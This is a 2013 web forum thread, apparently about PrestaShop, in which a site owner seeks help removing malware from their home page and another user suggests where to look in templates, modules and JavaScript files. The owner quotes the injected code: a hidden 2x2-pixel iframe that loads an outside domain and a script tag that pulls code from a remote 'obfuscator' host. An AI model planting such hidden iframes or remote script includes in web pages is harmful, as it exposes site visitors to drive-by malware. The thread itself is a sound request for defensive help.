tsukasa Posted April 10, 2013 Share Posted April 10, 2013 Hi, i have a malware in my site. In the home page, after the <body> I have this code: <iframe src="http://online1you.com/1/search.php?sid=1" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> How I can remove it? Thanks so mush! Link to comment Share on other sites More sharing options...
vekia Posted April 10, 2013 Share Posted April 10, 2013 go to the themes/your_theme/ and download header.tpl file then open it in some text editor (or notepad++ for smarty highlighting) and remove this code from this file. After that - you can upload it to the FTP sometimes it is necessary to turn force compilation on - without this changes in template (tpl) files may not appear Link to comment Share on other sites More sharing options...
tsukasa Posted April 10, 2013 Author Share Posted April 10, 2013 Hi Vekia I don't see the frame script in my header file. Here you can find the code: http://pastebin.com/12CxE13S what should I change? Link to comment Share on other sites More sharing options...
vekia Posted April 10, 2013 Share Posted April 10, 2013 I think that the problem is a bit different. In my opinion you should check: 1) unfortunately all modules, but for the first modules in HOOK_HEADER in HOOK_TOP 2) check all .js files included to your <head> section i think that some java scripts includes this code. But im not sure anyway, your website is online? Link to comment Share on other sites More sharing options...
tsukasa Posted April 10, 2013 Author Share Posted April 10, 2013 Yes www. cartucce toner italia dot it Link to comment Share on other sites More sharing options...
tsukasa Posted April 10, 2013 Author Share Posted April 10, 2013 I can't find it Link to comment Share on other sites More sharing options...
tsukasa Posted April 10, 2013 Author Share Posted April 10, 2013 What does this script? <script src="http://api.obfuscatorjavascript.com/?getsrc=ok&ref=&url=http%3A%2F%2Fwww.cartuccetoneritalia.it%2F"></script> Link to comment Share on other sites More sharing options...
Recommended Posts